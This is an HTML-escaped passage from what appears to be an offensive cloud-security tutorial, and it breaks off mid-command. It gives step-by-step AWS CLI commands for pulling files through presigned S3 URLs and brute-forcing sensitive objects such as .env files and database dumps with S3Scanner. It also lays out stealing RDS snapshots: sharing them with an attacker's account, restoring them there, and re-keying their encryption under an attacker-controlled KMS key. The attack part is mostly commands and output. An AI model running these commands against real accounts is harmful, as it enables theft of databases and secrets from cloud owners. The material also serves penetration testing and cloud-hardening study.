class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -I &amp;#34;https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=...&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;If it returns &lt;code&gt;200 OK&lt;/code&gt;, the presigned URL is still valid and the attacker can download the file:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -o stolen-secret.txt &amp;#34;https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=...&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Both of these techniques depend on misconfiguration. The attacker has to find those mistakes, but the underlying ideas are simple and easy to understand.&lt;/p&gt;&#10;&lt;h2 id="data-exfiltration-and-persistence"&gt;&lt;a href="#data-exfiltration-and-persistence" class="header-anchor"&gt;&lt;/a&gt;Data Exfiltration and Persistence&#10;&lt;/h2&gt;&lt;h3 id="downloading-sensitive-files-from-s3"&gt;&lt;a href="#downloading-sensitive-files-from-s3" class="header-anchor"&gt;&lt;/a&gt;Downloading Sensitive Files from S3&#10;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Goal&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Go beyond simply enumerating buckets&lt;/strong&gt; and &lt;strong&gt;pinpoint sensitive files&lt;/strong&gt; (database backups, configuration files, logs, etc.).&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Even if the bucket itself is restricted, files with misconfigured ACLs may still be downloaded directly!&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Common types of sensitive files&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;backup.zip&lt;/code&gt; / &lt;code&gt;db-dump.sql&lt;/code&gt; (database backups)&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;config.json&lt;/code&gt; / &lt;code&gt;.env&lt;/code&gt; (API keys &amp;amp; configuration files)&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;access.log&lt;/code&gt; / &lt;code&gt;debug.log&lt;/code&gt; (log files that may contain AWS keys)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;&lt;strong&gt;Test whether a known sensitive file can be downloaded&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 cp s3://target-bucket/backup.zip . --no-sign-request&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;If the file can be downloaded&lt;/strong&gt;: the ACL for &lt;code&gt;backup.zip&lt;/code&gt; is misconfigured.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;If it returns&lt;/strong&gt; &lt;code&gt;403 Forbidden&lt;/code&gt;: &lt;code&gt;s3:GetObject&lt;/code&gt; is denied.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Use&lt;/strong&gt; &lt;code&gt;s3scanner&lt;/code&gt; &lt;strong&gt;to automatically scan for sensitive files&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Install &lt;code&gt;s3scanner&lt;/code&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git clone https://github.com/sa7mon/S3Scanner.git&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd S3Scanner&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pip3 install -r requirements.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;📌 &lt;strong&gt;Use&lt;/strong&gt; &lt;code&gt;s3scanner&lt;/code&gt; &lt;strong&gt;to scan for sensitive files in a bucket&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 s3scanner.py --bucket target-bucket --wordlist sensitive-files.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;code&gt;wordlist.txt&lt;/code&gt; may contain:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;backup.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;config.json&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.env&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;db-dump.sql&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;access.log&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;error.log&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;If brute forcing produces a 200 response, the file can be downloaded. Although this is somewhat similar to the previous method, the logic is different: this one is essentially brute forcing.&lt;/p&gt;&#10;&lt;h3 id="stealing-rds-database-snapshots"&gt;&lt;a href="#stealing-rds-database-snapshots" class="header-anchor"&gt;&lt;/a&gt;Stealing RDS Database Snapshots&#10;&lt;/h3&gt;&lt;p&gt;Exploit an AWS RDS misconfiguration to create a database snapshot and share it with an attacker&amp;rsquo;s account, thereby obtaining the database data.&lt;/p&gt;&#10;&lt;p&gt;Amazon RDS (Relational Database Service) supports &lt;strong&gt;creating snapshots (Snapshot)&lt;/strong&gt; for &lt;strong&gt;backing up and restoring databases&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;RDS snapshots can be shared&lt;/strong&gt; (&lt;code&gt;modify-db-snapshot-attribute&lt;/code&gt;). If this is misconfigured, an attacker can steal the database data.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Even without direct access to RDS&lt;/strong&gt;, an attacker can still steal the database through a &lt;strong&gt;snapshot-sharing vulnerability&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="1-check-whether-an-rds-snapshot-can-be-created"&gt;&lt;a href="#1-check-whether-an-rds-snapshot-can-be-created" class="header-anchor"&gt;&lt;/a&gt;1. Check Whether an RDS Snapshot Can Be Created&#10;&lt;/h4&gt;&lt;p&gt;If an attacker gains access to an AWS account, they can try to create an RDS snapshot:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds create-db-snapshot --db-instance-identifier victim-db --db-snapshot-identifier stolen-snapshot&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Explanation&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;--db-instance-identifier victim-db&lt;/code&gt;: the target RDS instance.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;--db-snapshot-identifier stolen-snapshot&lt;/code&gt;: creates the &lt;code&gt;stolen-snapshot&lt;/code&gt; snapshot.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;If the command succeeds, it means &lt;strong&gt;the current identity has&lt;/strong&gt; the &lt;code&gt;rds:CreateDBSnapshot&lt;/code&gt; &lt;strong&gt;permission&lt;/strong&gt; and can create snapshots.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h4 id="2-view-rds-snapshots-in-the-current-account"&gt;&lt;a href="#2-view-rds-snapshots-in-the-current-account" class="header-anchor"&gt;&lt;/a&gt;2. View RDS Snapshots in the Current Account&#10;&lt;/h4&gt;&lt;p&gt;If the attacker cannot create a snapshot, they can try to &lt;strong&gt;find existing snapshots&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds describe-db-snapshots&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Example response:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;DBSnapshots&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;DBSnapshotIdentifier&amp;#34;: &amp;#34;prod-db-snapshot&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;DBInstanceIdentifier&amp;#34;: &amp;#34;victim-db&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Status&amp;#34;: &amp;#34;available&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SnapshotCreateTime&amp;#34;: &amp;#34;2024-03-06T12:00:00Z&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If a snapshot exists, the attacker can try to share it!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h4 id="3-share-the-snapshot-with-the-attackers-account"&gt;&lt;a href="#3-share-the-snapshot-with-the-attackers-account" class="header-anchor"&gt;&lt;/a&gt;3. Share the Snapshot with the Attacker&amp;rsquo;s Account&#10;&lt;/h4&gt;&lt;p&gt;If the snapshot policy is misconfigured, the attacker can &lt;strong&gt;share it with their own AWS account&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds modify-db-snapshot-attribute \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --db-snapshot-identifier prod-db-snapshot \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --attribute-name restore \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --values-to-add ATTACKER_AWS_ACCOUNT_ID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds modify-db-snapshot-attribute --db-snapshot-identifier prod-db-snapshot --attribute-name restore --values-to-add ATTACKER_AWS_ACCOUNT_ID&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Explanation&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;--db-snapshot-identifier prod-db-snapshot&lt;/code&gt;: the snapshot to share.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;--attribute-name restore&lt;/code&gt;: modifies the snapshot&amp;rsquo;s &amp;ldquo;restore&amp;rdquo; attribute, allowing other accounts to restore the snapshot.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;--values-to-add&lt;/code&gt;: adds the attacker&amp;rsquo;s AWS account ID so that it can access the snapshot.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;If the command succeeds, the attacker can access the snapshot from their own AWS account!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h4 id="4-restore-rds-in-the-attackers-account"&gt;&lt;a href="#4-restore-rds-in-the-attackers-account" class="header-anchor"&gt;&lt;/a&gt;4. Restore RDS in the Attacker&amp;rsquo;s Account&#10;&lt;/h4&gt;&lt;p&gt;The attacker signs in to their own AWS account and restores the snapshot:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds restore-db-instance-from-db-snapshot \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --db-instance-identifier stolen-db \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --db-snapshot-identifier prod-db-snapshot&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If this succeeds, the attacker now has a complete copy of the database!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h4 id="5-copy-rds-to-remove-the-original-encryption-more-complex"&gt;&lt;a href="#5-copy-rds-to-remove-the-original-encryption-more-complex" class="header-anchor"&gt;&lt;/a&gt;5. Copy RDS to Remove the Original Encryption (More Complex)&#10;&lt;/h4&gt;&lt;p&gt;Step 4 lets you restore RDS in the attacker&amp;rsquo;s account, but only if the snapshot is unencrypted. If it is encrypted, it cannot be moved to the attacker&amp;rsquo;s account. Copies are also encrypted by default, and you cannot simply leave the encryption setting blank while making the copy. However, we can create a new KMS key and replace the original encryption during the copy process, giving us control over the KMS key.&lt;/p&gt;&#10;&lt;h5 id="create-a-new-kms-key"&gt;&lt;a href="#create-a-new-kms-key" class="header-anchor"&gt;&lt;/a&gt;Create a New KMS Key&#10;&lt;/h5&gt;&lt;p&gt;If you do not have a suitable KMS key, you need to create a new one manually:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws kms create-key --description &amp;#34;My RDS Key&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Then retrieve the&lt;/strong&gt; &lt;code&gt;KeyId&lt;/code&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws kms list-keys&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Response:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Keys&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;KeyId&amp;#34;: &amp;#34;abcd1234-5678-efgh-ijkl-9876543210mn&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="copy-the-snapshot-using-the-new-kms-key"&gt;&lt;a href="#copy-the-snapshot-using-the-new-kms-key" class="header-anchor"&gt;&lt;/a&gt;Copy the Snapshot Using the New KMS Key&#10;&lt;/h5&gt;&lt;p&gt;You need to copy the snapshot &lt;strong&gt;using the newly created KMS key&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds copy-db-snapshot \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --source-db-snapshot-identifier database-1-snapshot \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --target-db-snapshot-identifier new-snapshot \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --kms-key-id abcd1234-5678-efgh-ijkl-9876543210mn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds copy-db-snapshot --source-db-snapshot-identifier database-1-snapshot --target-db-snapshot-identifier new-snapshot --kms-key-id abcd1234-5678-efgh-ijkl-9876543210mn&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;This way,&lt;/strong&gt; &lt;code&gt;new-snapshot&lt;/code&gt; &lt;strong&gt;is still encrypted, but it uses a KMS key that you control!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h5 id="allow-the-target-account-to-access-this-kms-key"&gt;&lt;a href="#allow-the-target-account-to-access-this-kms-key" class="header-anchor"&gt;&lt;/a&gt;Allow the Target Account to Access This KMS Key&#10;&lt;/h5&gt;&lt;p&gt;You need to allow the target AWS account to access this KMS key:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws kms create-grant \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --key-id abcd1234-5678-efgh-ijkl-9876543210mn \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --grantee-principal arn:aws:iam::650*******:root \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --operations Decrypt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws kms create-grant 